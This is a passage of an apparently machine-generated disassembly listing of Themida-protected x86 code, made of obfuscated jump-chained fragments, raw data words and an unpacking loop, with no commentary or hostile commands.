; ---------------------------------------------------------------------------


loc_5602BD:				; CODE XREF: Themida_:0055DE21j
		mov	ecx, ebx
		jmp	loc_558D1D
; ---------------------------------------------------------------------------
		dd 0C681E689h, 4, 8704C683h, 0E95C2434h, 0FFFF63E8h, 535FFA29h
		dd 2F0201BBh, 0B0C38137h, 0E9DF0740h, 0FFFFBFE9h, 6D37C381h
		dd 0E3C10616h, 0E9D3F706h, 0FFFFEDDAh, 5251D82Ch, 0B6B4B450h
		dd 58E62838h, 0DAE2E952h, 48FFFFFh, 678EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560316:				; CODE XREF: Themida_:0055B204j
		add	ebx, 4
		push	edx
		jmp	loc_558D97
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 0FFFF6275h
; ---------------------------------------------------------------------------


loc_560328:				; CODE XREF: Themida_:00554A41j
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebp
		mov	ebp, 63153D0Bh
		sub	ebp, 465DD0F4h
		jmp	loc_55B456
; ---------------------------------------------------------------------------
		db 59h,	8Fh, 4
		dd 24248B24h, 5F241489h, 8324148Bh, 0FDE904C4h,	0ACFFFFD0h
		dd 208B68h, 240C8900h, 0C82859B1h, 52240C8Bh, 0C281E289h
		dd 4, 4EA81h, 14870000h, 4895C24h, 55E08924h, 36257BDh
		dd 5C67E906h, 3C31FFFFh, 243C3324h, 2404205Ch, 4528E99Ch
		dd 0F581FFFFh, 0C32D04B6h, 0E95DE889h, 0FFFFB781h, 8B2434FFh
		dd 71E92404h, 81FFFF88h, 1C2h, 0E2814A00h, 2B867580h, 6004F281h
		dd 0D3012286h, 8124148Bh, 4C4h,	0EBE5600h, 810D9D79h, 9B1B55CEh
		dd 0A3C68172h, 1806084h, 24348BF3h, 0FF9D7AE9h,	2434FFFFh
		dd 0E389535Fh, 4C381h, 0C3810000h, 4, 5C241C87h, 0FF45A1E9h
		dd 24248BFFh, 0F66F1F6h, 6866CCB6h, 89667C44h, 0F66240Ch
		dd 0ADE9C8B6h, 5BFFFFE8h, 0FF638DE9h, 240433FFh, 0B247E95Ch
		dd 8966FFFFh, 87E92404h, 1FFFF44h, 0C7815AD7h, 4, 0FFE2CEE9h
		dd 24248BFFh, 9CC88566h, 0FF446DE9h, 241487FFh,	6E3815Ch
		dd 0E9539520h, 0FFFF6457h, 2414335Ch, 0FF6C3DE9h, 242C8BFFh
		dd 8104C483h, 4C5h, 4C58100h, 55000000h, 42474FFh, 51242C8Bh
		dd 5FE9E189h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56049B:				; CODE XREF: Themida_:005604F3j
		pop	edi
		jmp	loc_55E8FD
; ---------------------------------------------------------------------------


loc_5604A1:				; CODE XREF: Themida_:00555F81j
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_55E3FE
; ---------------------------------------------------------------------------
		db 56h,	89h, 0E6h
		dd 4C681h, 0EE810000h, 4, 0E9243487h, 0FFFFA36Eh, 7150EE81h
		dd 15B555Bh, 0C6685EF2h, 8900002Eh, 2B9240Ch, 1000000h
		dd 148759CAh, 4005C24h,	0E3E99C24h
		db 43h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5604EB:				; CODE XREF: Themida_:00556D58j
		sub	edi, 0EEB747CBh
		sub	eax, edi
		jmp	loc_56049B
; ---------------------------------------------------------------------------
		dd 4EA9E95Ah, 1C89FFFFh, 0FB324h, 33685BD8h, 8900003Fh
		dd 0DCB1240Ch, 0C980C1FEh, 52D1F644h, 0EAC0E2B2h, 0E4B55102h
		dd 0FFB90AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560525:				; CODE XREF: Themida_:0055E5DDj
		not	eax
		inc	eax
		sub	eax, offset dword_461244
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_55D02C
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 6E90424h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560547:				; CODE XREF: Themida_:00558305j
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_55B691
; ---------------------------------------------------------------------------
		db 59h
		dd 6A05E801h, 0FF77CC21h, 835D2434h, 0B26804C4h, 8900005Eh
		dd 0F68241Ch, 8B5B8C55h, 0C483241Ch, 0FFEB8304h, 4BBAE381h
		dd 0FF5311BFh, 565B240Ch, 8188E952h, 2DADFFFFh,	4BC81087h
		dd 0C813E12Dh, 52D00520h, 0D8017AC2h, 0C252D02Dh, 13E1057Ah
		dd 0EC8320C8h, 243C8904h, 825EF1BFh, 9B67E971h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5605BA:				; CODE XREF: Themida_:00555D69j
		add	esp, 4
		push	edx
		jmp	loc_55E558
; ---------------------------------------------------------------------------


loc_5605C6:				; CODE XREF: Themida_:00556ACBj
		inc	edx
		neg	edx
		dec	edx
		dec	edx
		jmp	loc_55521B
; ---------------------------------------------------------------------------
		dd 68241489h, 249C3586h, 6BF2815Ah, 81144459h, 0D86CEFF2h
		dd 5AD78930h, 0E95FFA01h, 0FFFF8B2Fh, 53241489h, 8851CF88h
		dd 0F98EE9FDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5605FE:				; CODE XREF: Themida_:0056025Fj
		push	58BEh
		mov	[esp], ecx
		jmp	loc_55F520
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483240Ch, 24048F04h, 6B8EE95Ch, 0C781FFFFh, 2, 31243C33h
		dd 3C33243Ch, 24248B24h, 240C8B66h, 6F9868h, 24048900h
		dd 6A31E954h, 34FFFFFFh, 0CCD9E924h, 0EE81FFFFh, 5CBE64F8h
		dd 815EF709h, 5422BC7h,	5FF889A8h, 48BC601h, 4C48124h
		dd 68000000h, 0E0h, 0FF243489h,	0E9042474h, 0FFFFD103h
		dd 79A1BA52h, 0D12918C7h, 0F3C2815Ah, 1016F22h,	0F3EA81CAh
		dd 59016F22h, 0E9241433h, 0FFFFB819h, 25F58058h, 2874B551h
		dd 0A232E9E8h, 3489FFFFh, 0E4C4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5606AA:				; CODE XREF: Themida_:0055B564j
		mov	esp, [esp]
		or	ebx, ebx
		jnz	loc_55D67C
		push	edx
		push	3867h
		mov	[esp], edi
		jmp	loc_554954
; ---------------------------------------------------------------------------
		db 0BDh
		dd 1B4341A6h, 4FE9E829h, 83FFFFA8h, 1C8904ECh, 63685724h
		dd 5F37823Ch, 0FF6CC8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5606E1:				; CODE XREF: Themida_:0055A3B2j
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55E5C7
; ---------------------------------------------------------------------------
		dd 0FE51B450h, 3BF480CCh, 0C077CC80h, 0EC8006E4h, 0E9E1008Ch
		dd 0FFFFF1F9h
; ---------------------------------------------------------------------------


loc_560714:				; CODE XREF: Themida_:0055C68Bj
		add	ebp, eax
		jmp	loc_55D958
; ---------------------------------------------------------------------------
		db 68h
		dd 37F716CCh, 0BB53505Fh, 2E7B60B7h, 242C8153h,	47FF120Ch
		dd 120C0558h, 1C8B47FFh, 4C48124h, 0E9000000h, 0FFFFE5D8h
		dd 0E951E801h, 0FFFFE7DCh, 0E9240C8Bh, 0FFFF734Eh, 0F010A8B8h
		dd 54D8255Ch, 2EE956FBh, 1FFFF64h, 148759CAh, 0C5055C24h
		db 78h,	0A9h, 0Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	3FFEh
		jmp	loc_55A4CE
; ---------------------------------------------------------------------------
		dd 6B25E95Ch, 0C681FFFFh, 155B1C84h, 0C15EF189h, 0F18103E9h
		dd 1AAD5A2Bh, 0FFFEDBE9h, 0E9D801FFh, 0FFFF433Ah, 0C002EFC0h
		dd 0C78002E7h, 5BFC30AEh, 0FFC530E9h, 0E9E2B1FFh, 0FFFF789Dh
; ---------------------------------------------------------------------------


loc_5607B8:				; CODE XREF: Themida_:0055BA6Cj
		add	ecx, edx
		pop	edx
		shl	ecx, 4
		jmp	loc_558F5F
; ---------------------------------------------------------------------------
		db 59h
		dd 204EB951h, 0C981604Dh, 3C8C50FDh, 0FFC4EBE9h, 0E9EBD1FFh
		dd 0FFFFCEBEh, 8106E1C1h, 0BB3715C1h, 0CCC18154h, 0E914BD38h
		dd 0FFFFEBD5h, 34FF595Ah, 24048B24h, 0FFED9EE9h, 0E9DE29FFh
		dd 0FFFFFCC0h
; ---------------------------------------------------------------------------


loc_560804:				; CODE XREF: Themida_:00555657j
		pop	ecx
		jmp	loc_556327
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 4C181h, 0C1810000h, 4, 5C240C87h, 8704C083h,	248B2404h
		dd 2434FF24h, 4EC8158h,	89000000h, 0DF682414h, 89000051h
		dd 55522424h, 852DB968h, 0C5815D3Ah, 53EB24FCh,	0AD4FC581h
		dd 0EA89718Fh, 0FFA48DE9h, 240C87FFh, 0E924248Bh, 0FFFFB3A8h
		dd 0DDC6E95Ah, 0C381FFFFh, 4, 4C381h, 1C330000h, 241C3124h
		dd 5C241C33h, 49685753h, 5F64590Eh, 444FC781h, 0EF817DCDh
		dd 0D3710FB7h, 0FFA170E9h, 2100BDFFh, 6EE919CFh, 8BFFFFF4h
		dd 0C483241Ch, 91B4E904h, 0BE56FFFFh, 754A6A60h, 7F5FC681h
		dd 0F681157Dh, 657F3D1Eh, 0E79FEE81h, 0F231305Ah, 0FF62B2E9h
		dd 2C875EFFh, 24248B24h, 24048B66h, 7E3468h, 24348900h
		dd 2434FF54h, 0FF8FDCE9h, 0F5B151FFh, 0CAE95066h, 68FFFFCEh
		dd 34F0h, 68240C89h, 713Dh, 24048F54h, 4240483h, 0FFA713E9h
		dd 5DE801FFh, 0FF6CEFE9h, 0B850FFh, 252D365Eh, 203C5446h
		dd 0FFBAD4E9h, 6BE94AFFh, 0B8FFFFB9h, 42A82855h, 5B15C681h
		dd 0C6290859h, 5B15EE81h, 48B0859h, 4C48124h, 55000000h
		dd 88768h, 24048900h, 0FFADADE9h, 79B6BBFFh, 0E3C120EFh
		dd 0DF62E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56095E:				; CODE XREF: Themida_:00559408j
		add	esp, 4
		not	eax
		xchg	eax, edi
		push	7AF1h
		mov	[esp], eax
		push	1C7Fh
		mov	[esp], edi
		mov	eax, [esp]
		jmp	loc_559CD2
; ---------------------------------------------------------------------------
		db 81h
		dd 0F38EEAF6h, 5EF209E7h, 1BE9DAF7h, 66FFFF84h,	7FC0E9ADh
		dd 0F801FFFFh, 56243C8Bh, 0C681E689h, 4, 4C681h, 34870000h
		dd 992D5C24h, 1525474h,	749905D8h, 0EC835254h, 242C8904h
		dd 782686BDh, 2BB5353h,	0E9560856h, 0FFFFA606h
; ---------------------------------------------------------------------------


loc_5609D0:				; CODE XREF: Themida_:00557ED1j
		mov	edx, [esp]
		add	esp, 4
		shr	eax, 0Eh
		xor	eax, ecx
		jmp	loc_555741
; ---------------------------------------------------------------------------
		dd 33243431h, 34312434h, 3EE0E924h, 0CDFEFFFFh,	8E8ED80h
		dd 0B45059EAh, 0E9E2284Fh, 0FFFFC498h
; ---------------------------------------------------------------------------


loc_560A00:				; CODE XREF: Themida_:0055F9C6j
		mov	[esp], eax
		mov	eax, 61101E0Bh
		jmp	loc_555D30
; ---------------------------------------------------------------------------


loc_560A0D:				; CODE XREF: Themida_:0055FADAj
		add	ebx, 3C0B6D99h
		mov	ecx, ebx
		pop	ebx
		xor	ecx, edx
		pop	edx
		jmp	loc_55870E
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48124h, 0E9000000h, 0FFFF6365h, 19E95451h,	88FFFFFDh
		dd 0E5C05AF5h, 49C58002h, 0E942CD80h, 0FFFFDFCCh, 0C581E589h
		dd 4, 4C581h, 2C870000h, 3E8FE924h, 3C87FFFFh, 24248B24h
		dd 51C8AF0Fh, 3E64E99Ch, 5452FFFFh, 54E9505Ah, 0F7FFFF8Fh
		dd 2C8B241Ch, 4C48124h,	81000000h, 5ADC32C5h, 5DEB8933h
		dd 0FF3E41E9h, 24048BFFh, 0FF54A5E9h, 0E78957FFh, 4C781h
		dd 0B9510000h, 3B7C4B3Ah, 0FF800EE9h, 0C68159FFh, 1435659Fh
		dd 0EE81CE01h, 1435659Fh, 24343359h, 0FFB889E9h, 4875EFFh
		dd 0EC835C24h, 24148904h, 0AE88FC68h, 95DDE977h, 3433FFFFh
		dd 24343124h, 0E9243433h, 0FFFFEF8Fh, 83240C8Bh, 0ED8304C4h
		dd 2BF58101h, 513CC1F5h, 384AE2B9h, 3CC18150h, 41501340h
		dd 0FF662AE9h, 248B66FFh, 3DC0E924h, 0E95DFFFFh, 0FFFF3DBAh
; ---------------------------------------------------------------------------


loc_560B14:				; CODE XREF: Themida_:0055D6E7j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]


loc_560B20:				; CODE XREF: Themida_:0055D256j
		push	3CEAh
		jmp	loc_5601DA
; ---------------------------------------------------------------------------
		dw 9FB9h
		dd 0E93F2C46h, 0FFFF41A5h, 24043166h, 3D90E99Ch, 0C481FFFFh
		dd 4, 4C281h, 0B8500000h, 4, 0E958C229h, 0FFFF57E3h, 916D212Dh
		dd 5F82914h, 14916D21h,	0C0835F5Fh, 24048702h, 0F624248Bh
		dd 0B60F66F9h, 8B78E9CCh, 0B068FFFFh, 89000024h, 95E92414h
		dd 29FFFF98h, 72E95AD1h, 0C0FFFF75h, 0CD8003E5h, 0F6DDF656h
		dd 76ED80D5h, 0C8BEB28h, 4C48124h, 51000000h, 0EB00BDB5h
		dd 0C0B60F59h, 87048F66h, 0FF3D15E9h, 0F6DEF6FFh, 48C680DEh
		dd 0FF6086E9h, 0C8B66FFh, 2EF06824h, 0C890000h,	0B01AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560BD6:				; CODE XREF: Themida_:0055858Aj
		and	eax, esi
		pop	esi
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	0B2Ah
		mov	[esp], ebx
		jmp	loc_55A667
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 23h
		dd 68147568h, 0
		dd 0E9243429h, 0FFFF92CFh, 811C77FFh, 4528242Ch, 48B1258h
		dd 0E1895124h, 4C181h, 0C1830000h, 0B3FFE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560C1E:				; CODE XREF: Themida_:0055781Bj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_55834F
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 0E9000000h, 0FFFFA663h
; ---------------------------------------------------------------------------


loc_560C38:				; CODE XREF: Themida_:0055C70Fj
		mov	[esp], esi
		mov	esi, 11C78AFh
		jmp	loc_557233
; ---------------------------------------------------------------------------


loc_560C45:				; CODE XREF: Themida_:00554F60j
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_555909
; ---------------------------------------------------------------------------
		dd 68555A58h, 2, 81242C8Bh, 4C4h, 0E7EE8100h, 14AB50Bh
		dd 0E7C681EEh, 5D4AB50Bh, 5C243487h, 24042166h,	3C50E99Ch
		dd 0C820FFFFh, 5A545259h, 4C281h, 0EC830000h, 24348904h
		dd 63C8B850h, 0CCBE7174h, 31717463h, 16E958C6h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560CA3:				; CODE XREF: Themida_:0055F539j
		pop	esp
		add	ebx, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55BC9D
; ---------------------------------------------------------------------------
		db 58h,	0E9h, 6Fh
		dd 66FFFF85h, 66787268h, 0B3241C89h, 66D8008Bh,	5251535Bh
		dd 0E680CEB6h, 4F680D1h, 505AF588h, 0C788E888h,	7EE95958h
		dd 89FFFF69h, 242C8BEFh, 8104C483h, 8E6C9BEFh, 5FFA0120h
		dd 4EC81h, 0C890000h, 87FCE924h, 8B66FFFFh, 6851240Ch
		dd 5E21h, 24048F54h, 4B951h, 0BFE90000h, 99FFFF4Ch, 0AC0054C9h
		dd 0D7F874C7h, 414E9187h, 4005BAAh, 0F67FFE03h,	234Ch
		dd 177DE700h, 2000002h,	1000000h, 5000000h, 0AC000000h
		dd 0F874C7h, 4 dup(0)
		dd 0FD000000h, 0B8005757h, 1005739h, 68005664h,	1300566Ch
		dd 0B0005761h, 83005640h, 0D000574Bh, 7D00563Fh, 2A0056ACh
		dd 7B005768h, 0FC00564Dh, 920056F2h, 6E0056B7h,	9C00575Dh
		dd 31005690h, 0F50056C5h, 0D0056FDh, 540056CBh,	34005633h
		dd 0AC005725h, 13005689h, 22005646h, 0D50056CDh, 0F90056EAh
		dd 0B2005656h, 32005705h, 77005655h, 260056A2h,	0D500562Bh
		dd 0E1005723h, 0C1005623h, 56005729h, 2C00564Ah, 24005697h
		dd 0E7005679h, 6500571Eh, 0BE0056BFh, 3F0056ECh, 44005619h
		dd 0B70056AAh, 0BE0056AFh, 0E6005644h, 1D0056A2h, 0DB00563Eh
		dd 14005614h, 0E4005764h, 0C20056A4h, 2400567Fh, 0E90056C5h
		dd 0BA005632h, 9700571Bh, 20005683h, 0EC00573Bh, 0E0056B1h
		dd 44005701h, 25005712h, 0FF0056A8h, 5800567Fh,	0E2005615h
		dd 5A00566Bh, 700056AAh, 7800573Eh, 0BE005744h,	3000566Dh
		dd 4C00565Ch, 94005641h, 0FD005766h, 0CC00573Ch, 100056D2h
		dd 7A005725h, 0E600574Eh, 0ED005706h, 8F005629h, 0AE005667h
		dd 0F600573Fh, 3F005649h, 6F0056E6h, 3E005644h,	2B005757h
		dd 6F0056CDh, 91005646h, 20005760h, 6C005738h, 33005647h
		dd 5E005667h, 7900561Eh, 9C0056B8h, 0B005740h, 76005682h
		dd 0F200572Dh, 8E005611h, 0C80056CDh, 0E3005620h, 200565Bh
		dd 9F0056E2h, 0F200572Dh, 0AE005759h, 0C30056D9h, 0D000574Ah
		dd 0C4005704h, 9D0056F9h, 0E0005725h, 72005678h, 2200573Bh
		dd 0EF005688h, 0BD005765h, 0E2005743h, 13005631h, 0E3005622h
		dd 770056BBh, 9800566Bh, 210056E2h, 930056FFh, 65005672h
		dd 97005744h, 930056D7h, 0A9005735h, 630056D6h,	830056E8h
		dd 7400566Eh, 0E600575Ah, 0A8005694h, 0AD0056C0h, 2A0056B4h
		dd 17005723h, 0F1005751h, 60005704h, 630056BEh,	12005667h
		dd 0CF005733h, 57005710h, 0BB00562Dh, 0E600568Fh, 510056CDh
		dd 0D20056DBh, 0E400570Ch, 20005671h, 8B005706h, 0DD005731h
		dd 26005731h, 0EC0056A3h, 20005711h, 7300573Fh,	0B2005707h
		dd 0D0005611h, 0DC005700h, 0ED005701h, 5A0056A3h, 6D005631h
		dd 9D00570Dh, 97005756h, 130056E5h, 0D70056C7h,	47005711h
		dd 82005694h, 71005715h, 0D1005622h, 0DE0056FBh, 6A00570Bh
		dd 0DD005656h, 690056D2h, 19005732h, 1D00563Bh,	0C5005713h
		dd 1A0056ACh, 0C000569Bh
		db 3Fh,	56h, 0
; ---------------------------------------------------------------------------


loc_560FFB:				; CODE XREF: Themida_:005A3CE5j
					; Themida_:005AD445j
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 7E14857h
		mov	eax, edi
		add	edi, 7E1456Fh
		cmp	eax, [edi+2Ch]
		jnz	short loc_561019
		jmp	short loc_56102C
; ---------------------------------------------------------------------------


loc_561019:				; CODE XREF: Themida_:00561015j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_561028
; ---------------------------------------------------------------------------


loc_561023:				; CODE XREF: Themida_:0056102Aj
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_561028:				; CODE XREF: Themida_:00561021j
		or	ecx, ecx
		jnz	short loc_561023


loc_56102C:				; CODE XREF: Themida_:00561017j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_561039:				; CODE XREF: Themida_:00561040j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_561039


loc_561042:				; CODE XREF: Themida_:loc_5628D8j
					; Themida_:0056353Fj ...
		lodsb
		add	al, 3Fh
		sub	al, bl
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_56218F
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 1Ch
		dd 0BB24h, 0C3810000h, 0F510BACh, 191EEB81h, 0C301309Ch
		dd 191EC381h, 0EB81309Ch, 0F510BACh, 0E9038F57h, 145F9h
		dd 38E9F801h, 2C000050h, 241C8B6Ah, 4C481h, 3CE90000h
		dd 1000063h, 0C68359CEh, 24343304h, 33243431h, 248B2434h
		dd 724E924h, 0E9540000h, 10CE0h
; ---------------------------------------------------------------------------


loc_5610B4:				; CODE XREF: Themida_:0056CC27j
		pop	edx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		sub	ebp, 2A420817h
		sub	ebp, 3CF20A7Ch
		add	ebp, esi
		jmp	loc_570080
; ---------------------------------------------------------------------------


loc_5610D3:				; CODE XREF: Themida_:00571107j
		sub	ebp, 6A001BAAh
		and	edi, ebp
		jmp	loc_56A7FC
; ---------------------------------------------------------------------------
		dd 4401EA81h, 0EA810D94h, 28760730h, 0C281DA29h, 28760730h
		dd 14C28E9h, 26E95300h
		db 34h,	1, 0
; ---------------------------------------------------------------------------


loc_5610FF:				; CODE XREF: Themida_:00574852j
		mov	esp, [esp]
		mov	[esp], ebp
		push	edi
		jmp	loc_56A673
; ---------------------------------------------------------------------------
		db 9
		dd 0CF8159CFh, 73F867B0h, 5F64C781h, 0F78170C8h, 42E37266h
		dd 123DB850h, 9EE93419h
		db 0A4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56112B:				; CODE XREF: Themida_:0056C52Cj
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_5676CC
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_56490D
; ---------------------------------------------------------------------------


loc_56114E:				; CODE XREF: Themida_:00568D21j
		not	dword ptr [esp]
		pop	edx
		xor	edx, 832F0A9Dh
		and	esi, edx
		pop	edx
		jmp	loc_56B39B
; ---------------------------------------------------------------------------


loc_561160:				; CODE XREF: Themida_:00573A9Dj
		or	eax, 5AD61730h
		or	eax, 3937FD0h
		sub	eax, 7DB81878h
		dec	eax
		shl	eax, 2
		add	eax, 0D0207805h
		xor	edi, eax
		pop	eax
		jmp	loc_56B1E4
; ---------------------------------------------------------------------------
		dd 8904EC83h, 9BE9243Ch, 8100007Bh, 0A02841F1h,	24048B08h
		dd 0F304C483h, 386203A5h, 0DE268h, 240C8900h, 0AAD5E9h
		dd 0D8B35300h, 43DDE951h, 8B660000h, 54532404h,	1596E95Bh
		dd 5B5B0000h, 508FC380h, 0E6BDE9h
		db 0
; ---------------------------------------------------------------------------


loc_5611C9:				; CODE XREF: Themida_:0056EDD9j
		pop	edx
		push	ecx
		push	60C40842h
		pop	ecx
		jmp	loc_565462
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 0E0895024h, 1CBAE955h, 41BD0001h, 526E686Fh,	6C5C71BAh
		dd 72DE92Bh, 28F0000h, 0FFFE49E9h, 4BBFFh, 0DE010000h
		dd 0E0E8E95Bh, 0BF570000h, 3FE41180h, 3C8BFA21h, 4C48324h
		dd 8904EC83h, 3ABF243Ch, 81ED959Ch, 376A72C2h, 4EC833Dh
		dd 0BF243C89h, 6CD410A4h, 17E2E9h
		db 0
; ---------------------------------------------------------------------------


loc_561235:				; CODE XREF: Themida_:00565511j
		pop	ebp
		mov	ecx, edx
		pop	edx
		pop	ebx
		jmp	loc_56BC18
; ---------------------------------------------------------------------------


loc_56123F:				; CODE XREF: Themida_:00562601j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_571E3C
; ---------------------------------------------------------------------------
aBBwuwsbe	db '˽}BWUWéBe',0
		align 2
		dw 815Fh
		dd 0A87C1CEAh, 46D2E9EDh, 74BF0000h, 18118A7h, 24348BF7h
		dd 4C481h, 0B9510000h, 23FC7FFBh, 0B9A3C181h, 0CE29F777h
		dd 2764E959h, 0BA520001h, 11970AB3h, 0EF56EA81h, 0B5E9E43Dh
		db 25h,	1, 0
; ---------------------------------------------------------------------------


loc_56129B:				; CODE XREF: Themida_:0056D199j
		sub	esp, 4
		jmp	loc_56EC3F
; ---------------------------------------------------------------------------
		db 0B9h
		dd 52AD47CEh, 6629F181h, 0CB891933h, 0DDF38159h, 5151D51Bh
		dd 0E316BD55h, 895238B1h, 5AD189EAh, 0E9CB015Dh, 9B2Ah
		dd 0E09BE957h, 4890000h, 0A7A0E924h, 80590000h,	0B652C6C3h
		dd 1C680AFh, 0E07BE9h, 243C8900h, 320AFCBFh, 13B5E939h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5612F6:				; CODE XREF: Themida_:005746FCj
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_57590D
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 241C8924h, 47BF5750h, 524BB95Eh, 0BAh, 87FA2900h, 0F7815AD7h
		dd 0D51AA0C8h, 871CE9h
		db 0
; ---------------------------------------------------------------------------


loc_56132D:				; CODE XREF: Themida_:0056C25Dj
		sub	eax, 30517826h
		dec	eax
		sub	eax, 0DA99A6BAh
		shl	eax, 2
		jmp	loc_56F30D
; ---------------------------------------------------------------------------
		dd 8B93EB80h, 0C481240Ch, 4, 0C3FED3F6h, 50D9F380h, 8805B151h
		dd 0E8C059C8h, 0E9D0F607h, 399h
; ---------------------------------------------------------------------------


loc_561364:				; CODE XREF: Themida_:0056D26Bj
		xchg	ebx, [esp]
		jmp	loc_568C91
; ---------------------------------------------------------------------------
		dd 83241C8Bh, 0C28104C4h, 0C300F858h, 148BD709h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 48EE7C30h
		sub	edi, 8B3572h
		jmp	loc_575090
; ---------------------------------------------------------------------------


loc_561397:				; CODE XREF: Themida_:0056BB26j
		mov	edx, [esp]
		add	esp, 4
		push	esi
		jmp	loc_56509F
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC8359CAh, 0E662E904h, 0D9010000h, 53241C8Bh, 0C381E389h
		dd 4, 6C4DE9h, 9AE94500h, 8100007Dh, 2B52FCEFh,	8BF8015Fh
		dd 0C483243Ch, 0E2895204h, 4C281h, 0EA830000h, 24148704h
		dd 2404895Ch, 10E0BE9h,	14E95F00h, 890000CAh, 3D64E9E3h
		dd 2C890000h, 6B3CBD24h, 4BB939E1h, 0E96BD03Dh,	0A066h
		dd 5C243487h, 2092EB81h, 0D301210Fh, 13A88E9h
		db 0
; ---------------------------------------------------------------------------


loc_56141D:				; CODE XREF: Themida_:00561AF5j
		add	ebx, edi
		pop	edi
		pop	esi
		sub	ebx, 3DD39AEh
		jmp	loc_565912
; ---------------------------------------------------------------------------


loc_56142C:				; CODE XREF: Themida_:0056503Cj
		sub	edi, 8F93A30Bh
		or	edx, edi
		pop	edi
		jmp	loc_56C829
; ---------------------------------------------------------------------------


loc_56143A:				; CODE XREF: Themida_:0056F968j
		push	dword ptr [esp]
		jmp	loc_56E6BA
; ---------------------------------------------------------------------------
aS_36		db ']éš$',0
		align 4


loc_561448:				; CODE XREF: Themida_:00571574j
		mov	ecx, [esp]
		add	esp, 4
		add	edx, ebx
		mov	ebx, [esp]
		jmp	loc_563539
; ---------------------------------------------------------------------------


loc_561458:				; CODE XREF: Themida_:00563F31j
		pop	edx
		jmp	loc_5663B2
; ---------------------------------------------------------------------------
aISV		db '‰Êé%v',0
		dd 7E4F6800h, 3C890000h, 89EF8924h, 0CBE95FFEh,	0C1FFFFFFh
		dd 814205EAh, 3BAF4CC2h, 0C7EE8161h, 11DD268h, 0C7C681D6h
		dd 0E91DD268h, 25C0h, 4C481h, 0E9510000h, 4EE6h, 8104EAC1h
		dd 0E34B6ECAh, 0DAC28136h, 52E10A2Fh, 0E5242C81h, 595F1B29h
		dd 29E5C181h, 895A5F1Bh, 0C53BE9CAh, 6B90000h, 6871E151h
		dd 3CB7h, 51EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5614D5:				; CODE XREF: Themida_:00572653j
		pop	esp
		jmp	loc_56E890
; ---------------------------------------------------------------------------
		db 66h
		dd 50240C8Bh, 0AA79E9h,	243C8B00h, 4C481h, 0D2F70000h
		dd 0EA81D2F7h, 8C567EBh, 21F0E981h, 0D1297639h,	21F0C181h
		dd 15A7639h, 95B850F9h,	4811EF4Eh, 10D5DE9h, 4C18100h
		dd 57000000h, 4BFh, 5FF90100h, 5C240C87h, 4EC81h, 34890000h
		dd 2BE24h, 0E9810000h, 1AD15B88h, 54E2E9h, 0FE015D00h
		dd 81243C8Bh, 4C4h, 24348700h, 0E924248Bh, 12359h, 51240C8Bh
		dd 0D3D2E9h
		db 0
; ---------------------------------------------------------------------------


loc_561561:				; CODE XREF: Themida_:0056632Bj
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		not	cl
		inc	cl
		sub	cl, 43h
		sub	bl, 36h
		sub	bl, cl
		push	dx
		mov	dh, 36h
